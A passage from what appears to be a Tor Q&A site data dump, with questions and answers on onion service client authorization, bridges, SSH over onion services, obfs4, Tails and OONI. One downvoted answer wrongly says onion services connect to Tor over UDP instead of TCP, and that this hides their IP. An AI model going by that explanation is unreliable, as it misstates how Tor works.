button.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;torrc&lt;/code&gt; file will be one of the files in the window that opens.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;In &lt;em&gt;GNU/Linux&lt;/em&gt;, edit &lt;code&gt;~/[path_to_tor_browser]/Browser/TorBrowser/Data/Tor/torrc&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;In &lt;em&gt;Windows&lt;/em&gt;, edit &lt;code&gt;&amp;quot;%HOMEDRIVE%%HOMEPATH%&amp;quot;\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Open the &lt;code&gt;torrc&lt;/code&gt; file with a text editor, such as &lt;a href=&quot;https://en.wikipedia.org/wiki/Microsoft_Notepad&quot; rel=&quot;nofollow noreferrer&quot;&gt;Notepad&lt;/a&gt; on Windows or &lt;a href=&quot;https://en.wikipedia.org/wiki/TextEdit&quot; rel=&quot;nofollow noreferrer&quot;&gt;TextEdit.app&lt;/a&gt; on macOS. Any &lt;a href=&quot;https://simple.wikipedia.org/wiki/Text_editor&quot; rel=&quot;nofollow noreferrer&quot;&gt;text editor&lt;/a&gt; will do. However, &lt;em&gt;Microsoft Word and other programs that expect rich text formatting will not work&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Add a line to the &lt;code&gt;torrc&lt;/code&gt; file that begins with &lt;code&gt;ClientOnionAuthDir&lt;/code&gt; and ends with the filesystem path of the folder you chose to store your Version 3 Onion service access credential files that you noted earlier. For example, on a macOS computer, the full line in your &lt;code&gt;torrc&lt;/code&gt; file might look like this:&#xA;&lt;pre&gt;&lt;code&gt;ClientOnionAuthDir /Users/YOUR_USER_NAME/Onions&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Save the &lt;code&gt;torrc&lt;/code&gt; file.&lt;/li&gt;&#xA;&lt;li&gt;Restart (quit and re-launch) Tor Browser.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;After re-opening Tor Browser, you should now be able to connect to the &lt;code&gt;.onion&lt;/code&gt; address described in your &lt;code&gt;.auth_private&lt;/code&gt; file (assuming, of course, that the Onion service hosts a website).&lt;/p&gt;&#xA;&lt;h3&gt;Configuring an Android-based mobile device for authenticated Version 3 Onion services&lt;/h3&gt;&#xA;&lt;p&gt;At the time of this writing, Android cannot connect to authenticated Version 3 Onion services. When available, &lt;a href=&quot;https://www.torproject.org/docs/android.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Orbot&lt;/a&gt; may make it possible to connect to authenticated Version 3 Onion services on Android-based mobile devices.&lt;/p&gt;&#xA;&lt;h3&gt;Configuring an Apple iOS device for authenticated Version 3 Onion services&lt;/h3&gt;&#xA;&lt;p&gt;At the time of this writing, iOS cannot connect to authenticated Version 3 Onion services. When available, &lt;a href=&quot;https://github.com/iCepa/iCepa&quot; rel=&quot;nofollow noreferrer&quot;&gt;iCepa&lt;/a&gt; may make it possible to connect to Onion services on devices running Apple's iOS.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;As mentioned in the above guide, at the time of this writing there is no GUI for configuring access credentials. :(&lt;/p&gt;&#xA;" OwnerUserId="18806" LastEditorUserId="18806" LastEditDate="2020-09-16T16:12:33.433" LastActivityDate="2020-09-16T16:12:33.433" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20274" PostTypeId="1" AcceptedAnswerId="20289" CreationDate="2019-09-10T21:11:09.580" Score="2" ViewCount="547" Body="&lt;p&gt;List of all entry/exit/relays are public knowledge and ISPs / govts can use it to block access to tor. How are bridges different in this respect? From my understanding anyone can request for bridge and can get one. Which means it should be possible to write a program to request repeatedly and get list of all bridges in the network and thus be able to add all of them to the block list. So how exactly this is prevented? &lt;/p&gt;&#xA;" OwnerUserId="27699" LastActivityDate="2019-09-13T23:51:23.993" Title="How does tor keep the list of bridges secret?" Tags="|bridge|censorship|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20278" PostTypeId="1" CreationDate="2019-09-11T13:55:51.003" Score="0" ViewCount="415" Body="&lt;p&gt;I am trying to use &lt;a href=&quot;https://add0n.com/block-site.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Block Site&lt;/a&gt; extension to block access to some URLs in TOR browser in Windows 7. I want to prevent disabling or removing the extension in TOR browser. I found the following recommendation in Block Site FAQs.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can I prevent this extension from being removed or disabled from the Firefox browser?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Create a &lt;code&gt;policies.json&lt;/code&gt; file with the following content. This file sits&#xA;  into a directory called &lt;code&gt;distribution&lt;/code&gt; within the Firefox installation&#xA;  directory. You can use it to control how users have access to the&#xA;  browser features. For more info visit&#xA;  &lt;a href=&quot;http://github.com/mozilla/policy-templates&quot; rel=&quot;nofollow noreferrer&quot;&gt;github.com/mozilla/policy-templates&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{   &quot;policies&quot;: {&#xA;    &quot;Extensions&quot;: {&#xA;      &quot;Locked&quot;:  [&quot;{54e2eb33-18eb-46ad-a4e4-1329c29f6e17}&quot;]&#xA;    }   } }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I tried, but creating &lt;code&gt;policies.json&lt;/code&gt; had no effect: Block Site extension still could be removed or disabled. I tried the following more simple commands in &lt;code&gt;policies.json&lt;/code&gt;, still no effect: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA; &quot;policies&quot;: {&#xA;   &quot;BlockAboutAddons&quot;: true&#xA; }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18701" LastActivityDate="2019-09-12T06:46:01.980" Title="How to prevent an extension from being disabled or removed?" Tags="|configuration|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20279" PostTypeId="1" CreationDate="2019-09-12T04:31:21.990" Score="1" ViewCount="1297" Body="&lt;p&gt;Suppose that a Tor client wants to access a certain hidden service. According to the protocol, instead of submitting a request directly to the server IP (which is hidden&lt;sup&gt;[1][2]&lt;/sup&gt;), this client submit a request via a series of relays. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, at some point, there will be a final relay in charge of delivering the client's message specifically to the server running the hidden service. In order to do so, this final relay must know the IP of this hidden server, otherwise the current internet infrastructure cannot deliver the message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the aforementioned steps are indeed correct, this means that in order to host a website using TOR Hidden Service you must reveal the IP address to a final relay. Therefore, Tor network does not hide the IP address of hidden services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to reconcile that? Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;[1]: &quot;TOR Hidden Service allows you to host a website, without revealing where the website is, and hence protects the identity of the publisher/webmaster.&quot;, &lt;a href=&quot;https://en.wikibooks.org/wiki/How_to_Protect_your_Internet_Anonymity_and_Privacy/TOR_Hidden_Service_for_Anonymous_Websites&quot; rel=&quot;nofollow noreferrer&quot;&gt;WikiBooks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[2]: &quot;The Tor network hides the IP address of hidden services, instead using onion addresses and public keys to keep the real location hidden.&quot;, &lt;a href=&quot;https://privacy.net/make-site-visible-dark-web-tor-hidden-services/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Privay.net&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27707" LastEditorUserId="27707" LastEditDate="2019-09-12T04:45:13.867" LastActivityDate="2022-03-02T16:07:05.690" Title="TOR Hidden Service: IP anonymity" Tags="|onion-services|anonymity|relays|ip-address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20280" PostTypeId="2" ParentId="20279" CreationDate="2019-09-12T06:37:05.437" Score="-1" Body="&lt;p&gt;This is a bit of a simplistic explanation, but I hope it helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor service, running on the machine where the onion service is being hosted, reaches out to the Tor Network and says, if you want to use onion abcxyz.onion or port 80, then you have to talk to me (the service) but not to the IP of the machine. Because the connection is originated from the machine being hosted and not from an external machine, no actual IP is needed to be shared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To look at it another way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set up a web server on standard TCP port 80&#xA;I make sure that my firewall is closed on TCP port 80 so nobody can connect to that web server. (sounds pointless, right?)&#xA;I then tell the Tor service to advertise that web server on Tor so people can view it. &#xA;You say, &quot;but wait you have a firewall up, they won't be able to see your web sserver!&quot;&#xA;That would be true if I was expecting external users to connect to me.&#xA;Instead, the Tor service connected to the Tor Network via UDP (not TCP) and other people are able to use that connection to come in and view my web server even with the firewall turned on.&#xA;Nobody ever sees my IP because that UDP connection from my web server to the Tor network doesn't contain TCP/IP informatation. It just contains an address and a connection to get in.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-09-12T06:37:05.437" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="20281" PostTypeId="2" ParentId="20278" CreationDate="2019-09-12T06:46:01.980" Score="1" Body="&lt;p&gt;The option that you are using would work in normal Firefox. However Tor Browser ignores these options because it is considered to be bad practice to add other extensions to the browser and will always overwrite them during an update. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.torproject.org/#faq-3&quot; rel=&quot;nofollow noreferrer&quot;&gt;Should I install a new add-on or extension in Tor Browser, like AdBlock Plus or uBlock Origin?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It's strongly discouraged to install new add-ons in Tor Browser,&#xA;  because they can compromise your privacy and security.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Installing new add-ons may affect Tor Browser in unforeseen ways and&#xA;  potentially make your Tor Browser fingerprint unique. If your copy of&#xA;  Tor Browser has a unique fingerprint, your browsing activities can be&#xA;  deanonymized and tracked even though you are using Tor Browser.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Basically, each browser's settings and features create what is called&#xA;  a &quot;browser fingerprint&quot;. Most browsers inadvertently create a unique&#xA;  fingerprint for each user which can be tracked across the internet.&#xA;  Tor Browser is specifically engineered to have a nearly identical&#xA;  (we're not perfect!) fingerprint across it's users. This means each&#xA;  Tor Browser user looks like every other Tor Browser user, making it&#xA;  difficult to track any individual user.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;There's also a good chance a new add-on will increase the attack&#xA;  surface of Tor Browser. This may allow sensitive data to be leaked or&#xA;  allow an attacker to infect Tor Browser. The add-on itself could even&#xA;  be maliciously designed to spy on you.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Tor Browser already comes installed with two add-ons — HTTPS&#xA;  Everywhere and NoScript — and adding anything else could deanonymize&#xA;  you.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Want to learn more about browser fingerprinting? Here's an &lt;a href=&quot;https://blog.torproject.org/browser-fingerprinting-introduction-and-challenges-ahead&quot; rel=&quot;nofollow noreferrer&quot;&gt;article&lt;/a&gt; on&#xA;  The Tor Blog all about it!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-09-12T06:46:01.980" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20283" PostTypeId="1" CreationDate="2019-09-12T11:59:13.540" Score="0" ViewCount="4858" Body="&lt;p&gt;I would like to access my raspberry pi via ssh over tor. This works from a Linux client, but not from a windows client. When I try it from putty on a windows machine I get &quot;Proxy error: General SOCKS server failure&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using this guide so I can access my Raspberry Pi globally via tor. After starting tor on the client machine, i can connect to my Pi:&#xA;&lt;a href=&quot;https://www.khalidalnajjar.com/access-your-raspberry-pi-globally-using-tor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.khalidalnajjar.com/access-your-raspberry-pi-globally-using-tor/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The guide works fine, tested with Raspian buster and Ubuntu 18.04 (You have to start tor on the client machine, and the guide does not mention that)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the Pi (running Raspian Buster):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo apt-get install tor&#xA;$ sudo nano /etc/tor/torrc #and add the following two lines:&#xA;    HiddenServiceDir /var/lib/tor/ssh_hidden_service/&#xA;    HiddenServicePort 22 127.0.0.1:22&#xA;$ sudo /etc/init.d/tor restart&#xA;$ sudo cat /var/lib/tor/ssh_hidden_service/hostname&#xA;    qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnmdmyd.onion #not the actual address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the Client(running Ubuntu 18.04.3 desktop amd64 in virtualbox):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo apt-get install tor&#xA;$ sudo apt-get install connect-proxy&#xA;$ sudo /etc/init.d/tor restart&#xA;$ sudo nano /etc/ssh/ssh_config #and add the following three lines:&#xA;Host *.onion&#xA;    ProxyCommand connect -R remote -5 -S 127.0.0.1:9050 %h %p&#xA;    ForwardX11 yes&#xA;$ ssh -l pi qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnmdmyd.onion #not the actual address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It also works with putty on Ubuntu, with the following settings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Session - Host name: qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnmdmyd.onion&#xA;Session - Port: 22&#xA;Session - Connection type: ssh&#xA;Connection - Proxy: Proxy type: SOCKS 5&#xA;Connection - Proxy: Proxy hostname: 127.0.0.1&#xA;Connection - Proxy: Port: 9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On a windows 7 machine, I've downloaded, installed and run Tor Browser 8.5.5. I am able to connect to the tor network and browse to clear web pages. (I didn't try .onion sites)&#xA;Next I start putty with the following settings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Session - Host name: qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnmdmyd.onion&#xA;Session - Port: 22&#xA;Session - Connection type: ssh&#xA;Connection - Proxy: Proxy type: SOCKS 5&#xA;Connection - Proxy: Proxy hostname: 127.0.0.1&#xA;Connection - Proxy: Port: 9150 #port 9050 gives Network Error: Connection Refused&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I get the error: &quot;Proxy error: General SOCKS server failure&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit1: Here's my tor log&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;9/12/19, 12:02:15.146 [NOTICE] Bootstrapped 10% (conn_done): Connected to a relay &#xA;9/12/19, 12:02:15.146 [NOTICE] Bootstrapped 14% (handshake): Handshaking with a relay &#xA;9/12/19, 12:02:15.147 [NOTICE] Bootstrapped 15% (handshake_done): Handshake with a relay done &#xA;9/12/19, 12:02:15.147 [NOTICE] Bootstrapped 20% (onehop_create): Establishing an encrypted directory connection &#xA;9/12/19, 12:02:15.222 [NOTICE] Bootstrapped 25% (requesting_status): Asking for networkstatus consensus &#xA;9/12/19, 12:02:15.222 [NOTICE] Bootstrapped 30% (loading_status): Loading networkstatus consensus &#xA;9/12/19, 12:02:16.622 [NOTICE] Bootstrapped 75% (enough_dirinfo): Loaded enough directory info to build circuits &#xA;9/12/19, 12:02:16.623 [NOTICE] Bootstrapped 90% (ap_handshake_done): Handshake finished with a relay to build circuits &#xA;9/12/19, 12:02:16.623 [NOTICE] Bootstrapped 95% (circuit_create): Establishing a Tor circuit &#xA;9/12/19, 12:02:16.624 [NOTICE] Bootstrapped 100% (done): Done &#xA;9/12/19, 12:02:17.421 [NOTICE] New control connection opened from 127.0.0.1. &#xA;9/12/19, 12:02:23.555 [NOTICE] New control connection opened from 127.0.0.1. &#xA;9/12/19, 12:02:30.860 [WARN] Your application (using socks5 to port 22) gave Tor a malformed hostname: [scrubbed]. Rejecting the connection.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And my torrc file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This file was generated by Tor; if you edit it, comments will not be preserved&#xA;# The old torrc file was renamed to torrc.orig.1 or similar, and Tor will ignore it&#xA;&#xA;DataDirectory C:\Users\*******\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor&#xA;GeoIPFile C:\Users\*******\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip&#xA;GeoIPv6File C:\Users\*******\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit2: I've added this line to torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SafeLogging 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I see this line in the log (it's not the actual .onion address):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;9/12/19, 12:41:31.786 [WARN] Your application (using socks5 to port 22) gave Tor a malformed hostname: &quot;qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnmdmyd.onion\n\n&quot;. Rejecting the connection. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I get rid of those 2 extra \n chars?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit3: It turns out during the copy and paste of the .onion address to putty, I've copied two extra \n chars. Going to the end of the line in putty and pressing backspace two times solved the issue.&lt;/p&gt;&#xA;" OwnerUserId="27713" LastEditorUserId="27713" LastEditDate="2019-09-12T13:12:58.883" LastActivityDate="2019-09-12T13:12:58.883" Title="Solved “Proxy error: General SOCKS server failure” when connecting to tor hidden ssh server from putty on windows 7" Tags="|windows|ssh|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20287" PostTypeId="1" CreationDate="2019-09-13T18:41:18.730" Score="0" ViewCount="138" Body="&lt;p&gt;Can my university network IT see the IP address of the obfs4 bridge node when I use my private laptop computer and Tor Browser to log in my university network account and connect to the Tor network?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The university network IT does not use Deep Packet Inspection, and the university network IT does not require me to install special software to log in my account.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the university network IT is unable to see the IP address of the obfs4 bridge node, why is the university network IT unable to see the IP address of the obfs4 bridge node?&lt;/p&gt;&#xA;" OwnerUserId="12897" LastEditorUserId="12897" LastEditDate="2019-09-13T19:02:42.443" LastActivityDate="2019-09-13T19:02:42.443" Title="Can my university network IT see the IP address of the obfs4 bridge node?" Tags="|bridge|ip-address|obfs4|node|login|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20288" PostTypeId="1" CreationDate="2019-09-13T19:35:08.683" Score="1" ViewCount="366" Body="&lt;p&gt;I use my private laptop computer and Tor Browser with an obfs4 pluggable transport to log in my university account.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The university network IT does not use Deep Packet Inspection, and the university network IT does not require me to install special software to log in my account.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the university network IT is unable to see that I am using Tor, why is the university network IT unable to see I am using Tor?&lt;/p&gt;&#xA;" OwnerUserId="12897" LastActivityDate="2019-09-14T16:44:11.847" Title="Can my university network IT see that I am using Tor when I am using Tor Browser with an obfs4 pluggable transport?" Tags="|tor-browser-bundle|pluggable-transports|obfs4|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20289" PostTypeId="2" ParentId="20274" CreationDate="2019-09-13T23:51:23.993" Score="0" Body="&lt;p&gt;From a Tor Blog post, 28 Aug 2019: Tor currently has approximately 1,000 bridges, 600 of which support the obfs4 obfuscation protocol. Unfortunately, these numbers have been stagnant for a while. It's not enough to have many bridges: eventually, all of them could find themselves in block lists. We therefore need a constant trickle of new bridges that aren't blocked anywhere yet. Please run a bridge if you can. &lt;a href=&quot;https://blog.torproject.org/run-tor-bridges-defend-open-internet&quot; rel=&quot;nofollow noreferrer&quot;&gt;Run Tor Bridges&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12897" LastActivityDate="2019-09-13T23:51:23.993" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20290" PostTypeId="1" CreationDate="2019-09-14T02:22:57.060" Score="1" ViewCount="415" Body="&lt;p&gt;Using Linux, at &lt;em&gt;torrc&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Format used: &lt;em&gt;(at end file)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExcludeNodes {...},{...},{...},{...}&#xA;&#xA;ExcludeExitNodes {...},{...},{...},{...}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Continues connecting to excluded country nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Know how to fix?&lt;/p&gt;&#xA;" OwnerUserId="27671" LastActivityDate="2019-09-14T02:22:57.060" Title="TOR browser - -ExcludeNodes doesn't work" Tags="|tor-browser-bundle|relays|exit-relays|node|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20291" PostTypeId="1" CreationDate="2019-09-14T04:01:18.237" Score="0" ViewCount="1205" Body="&lt;p&gt;Are newer USB generations (3.0,3.1) faster than USB 2.0 when running Tails? Or will they be nearly the same? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, I am not asking about Persistent Storage read/write speed, but the actual OS run speed.&lt;/p&gt;&#xA;" OwnerUserId="27726" LastActivityDate="2019-09-14T16:25:55.700" Title="USB 3.0/3.1 faster than 2.0 for Tails?" Tags="|tails|speed|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20292" PostTypeId="2" ParentId="8954" CreationDate="2019-09-14T04:11:48.630" Score="0" Body="&lt;p&gt;On Windows Menu (3 horizontal bars logo located at top-left)  is on the right side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no preferences/Options under menu...just options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no &quot;Connection Label&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead I went to Network Proxy label at bottom.... Clicked settings on the right side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only option that worked was &quot;Use system proxy settings&quot; all other settings stated they could not find proxy server.&lt;/p&gt;&#xA;" OwnerUserId="27727" LastActivityDate="2019-09-14T04:11:48.630" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20293" PostTypeId="2" ParentId="20291" CreationDate="2019-09-14T16:25:55.700" Score="1" Body="&lt;p&gt;Tails uses the Debian Linux kernel which runs USB at the correct speed. That means that you can expect significantly faster speeds with USB 3 than USB 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only caveat is that you have a machine with USB 3 ports and also USB 3 storage. If either is USB 2, then expect USB 2 speeds. This is the same on any modern operating system and has nothing to do with Tails.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-09-14T16:25:55.700" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20294" PostTypeId="2" ParentId="20288" CreationDate="2019-09-14T16:44:11.847" Score="1" Body="&lt;p&gt;The Tor Project put out a basic &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/PluggableTransports/Obfs4Evaluation&quot; rel=&quot;nofollow noreferrer&quot;&gt;obfs4 Transport Evaluation&lt;/a&gt;. The pertinent quote is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The (obfs4) design improves on the vulnerability to censorship based&#xA;  on active attackers identifying suspect flows and attempting to&#xA;  confirm which protocol is running via active attacks&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The page goes on to say that it would be very difficult and expensive to try to prove that you are using Tor using standard techniques.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you live in China, there are other options such as &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/meek&quot; rel=&quot;nofollow noreferrer&quot;&gt;meek&lt;/a&gt; which will disguise traffic as if it is connecting to an unblocked service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See Also: &lt;a href=&quot;https://2019.www.torproject.org/docs/pluggable-transports.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/docs/pluggable-transports.html.en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-09-14T16:44:11.847" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20295" PostTypeId="1" AcceptedAnswerId="20299" CreationDate="2019-09-16T07:30:40.600" Score="1" ViewCount="240" Body="&lt;p&gt;I'm okay with the Tor network being slow, but I often have the issue that I can't connect to my own hidden services at all. I imagine the problem are the nodes in between, because sometime later then it works again and is just very unstable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this really the Tor network or a misconfiguration of mine? If it is the Tor network, is there a way to enfource a new route towards my hidden services so I can circumvent the peers that are failing?&lt;/p&gt;&#xA;" OwnerUserId="27737" LastActivityDate="2019-09-16T19:45:07.323" Title="Are Tor connections *that* unstable?" Tags="|onion-services|network-configuration|network-health|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20296" PostTypeId="2" ParentId="14006" CreationDate="2019-09-16T10:42:21.143" Score="-1" Body="&lt;p&gt;OONI Explorer, currently, considers a case of censorship of a website to be &quot;confirmed&quot; when&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The censorship is implemented by means of serving a blocking&lt;/li&gt;&#xA;&lt;li&gt;Such blockpage is known to us and is present in our blockpage fingerprint database&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It may be the case that for German either we don't have a known blockpage or we haven't added it to our fingerprint database yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another reason for blocking not appearing in a particular country is that the sites that are blocked are not getting testing as they are not part of the testing list corpus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OONI is a community driven project, so here are a couple of things you can do to help us make testing for Germany more accurate and highlight more cases of censorship:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You can contribute to the test-lists by adding important sites to the Germany (or Global) lists. See: &lt;a href=&quot;https://ooni.org/get-involved/contribute-test-lists/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ooni.org/get-involved/contribute-test-lists/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you know of blocked websites in Germany that are tested you can help us identify the blockpage fingerprint. The best way is to file an issue on github in the ooni/pipeline component. See: &lt;a href=&quot;https://github.com/ooni/pipeline/issues/181&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ooni/pipeline/issues/181&lt;/a&gt; as an example for an existing issue on Germany.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Moreover to address your question of blocking in western countries, no that is definitely not the case, we have blockpage fingerprints for western countries too (such as Italy), though it is true that our primary focus is that of censorship that has more serious implication to freedom of speech (ex. the blocking of news and minority websites).&lt;/p&gt;&#xA;" OwnerUserId="27740" LastEditorUserId="5234" LastEditDate="2019-10-08T23:45:18.453" LastActivityDate="2019-10-08T23:45:18.453" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20297" PostTypeId="1" AcceptedAnswerId="20298" CreationDate="2019-09-16T11:47:36.480" Score="0" ViewCount="84" Body="&lt;p&gt;I need to develop a tor-compatible site and one of the requirements is not to use &lt;code&gt;javascript&lt;/code&gt;. Which framework are people using? I'm not a &lt;code&gt;php&lt;/code&gt; developer so that won't be a good option for me. &lt;/p&gt;&#xA;" OwnerUserId="27741" LastEditorUserId="27741" LastEditDate="2019-09-16T17:55:42.957" LastActivityDate="2019-09-16T18:28:53.740" Title="Which framework for calling server?" Tags="|configuration|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
